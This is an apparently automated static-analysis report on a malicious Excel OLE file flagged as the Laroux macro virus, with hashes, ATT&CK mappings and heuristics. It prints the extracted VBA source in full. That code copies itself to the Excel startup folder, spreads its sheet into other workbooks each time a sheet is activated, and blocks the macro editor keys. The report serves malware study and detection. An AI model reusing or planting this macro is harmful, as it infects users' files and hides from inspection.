Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cee3dd3e7e13847b…

MALICIOUS

Office (OLE)

36.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: a503cc7642a4a5f13ae3119821aaefb8 SHA-1: ffcc8b5a0c653e11e5797e747f3625ddf7a57332 SHA-256: cee3dd3e7e13847b1869292e769945d6a90466c2365d127033bb01cff49fd6c1
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The auto_open macro attempts to copy the workbook to the Excel startup folder as 'StartUp.xls', likely to achieve persistence. The script also configures sheet activation and key press events, further supporting the persistence attempt.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 917 bytes
SHA-256: ef12d7355755f09cb7ed5d43609aa9c78ce2121e9043188a92ffb406905a8ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub